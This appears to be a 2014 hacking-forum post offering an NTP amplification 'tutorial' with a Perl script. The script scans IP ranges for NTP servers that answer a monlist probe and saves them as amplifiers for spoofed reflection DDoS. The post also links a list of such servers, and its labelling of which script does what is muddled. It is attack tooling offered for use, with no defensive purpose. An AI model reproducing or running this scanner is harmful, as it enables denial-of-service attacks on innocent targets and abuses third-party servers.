NTP Amplification Tuorial + Script

Eclipse · 03-24-2014, 08:40 PM

I recently released this same thread in the Advanced Security Section, but I'm releasing it again here for everyone, albeit minus one script, the scanning script.

NOTE: I did not code these scripts myself, they were shared by Vypor of HackForums.

Requirements:

Perl
NET::IP
Spoof Enable Server

Booking Script (NTPScanner.pl) Usage: perl NTPBoot.pl <ip> <port> <list> <threads>

Code:
#!/usr/bin/perl
use strict;
use Net::IP;
use IO::Socket;
use Term::ANSIColor;
use vars qw( $PROG );
use warnings;
( $PROG = $0 ) =~ s/^.*[\/\\]//;
#Usage
if ( @ARGV < 5 ) {
        print "Usage: ./$PROG [START-IP] [END-IP] [THREADS] [TIMEOUT] [OUTPUT]\n";
    exit;
}
my $threads  = $ARGV[2];
my @ip_team  = ();
$|= 1;
my $ip   = new Net::IP ("$ARGV[0] - $ARGV[1]") or die "Invaild IP Range.". Net::IP::Error() ."\n";
 
 
#Start Forking :D
while ($ip) {
push @ip_team, $ip++ ->ip();
if ( $threads == @ip_team ) { Scan(@ip_team); @ip_team = () }
}
Scan(@ip_team);
 
#Scan
sub Scan
{
my @Pids;
        foreach my $ip (@_)
        {
        my $pid        = fork();
        die "Could not fork! $!\n" unless defined $pid;
            if  (0 == $pid)
            {
                alarm 1;
				#print "Current IP: $ip\n";
                #Open socket, save to list, print out open ports
                my $socket = IO::Socket::INET->new(PeerAddr => $ip , PeerPort => 123 , Proto => 'udp' , Timeout => $ARGV[3]);
 
                my $payload = "\x97\x00\x00\x00\xAA\x00\x00\x00";
 
                $socket->send($payload) or die "Nothing got sent.";
 
                my $data;
                $socket->recv($data,64);

				open (MYFILE, ">>$ARGV[4]");
				my $result = index($data, "\x97\x00\x00\x00");
				if($result != -1){
					print "Found $ip\n";
					print MYFILE "$ip\n" if $socket;
				}
				close (MYFILE);
                exit
			}
            else
            {
                push @Pids, $pid
            }
        }
 
foreach my $pid (@Pids) { waitpid($pid, 0) }
}

But of course, to get a list, you need to scan.

Here's a scanning script (NTPBoot.pl):

Code:
Check the Advanced Security Section

Here's a list that's guaranteed to be dead by now, but meh. http://pastebin.com/qDEfUskz

Aurora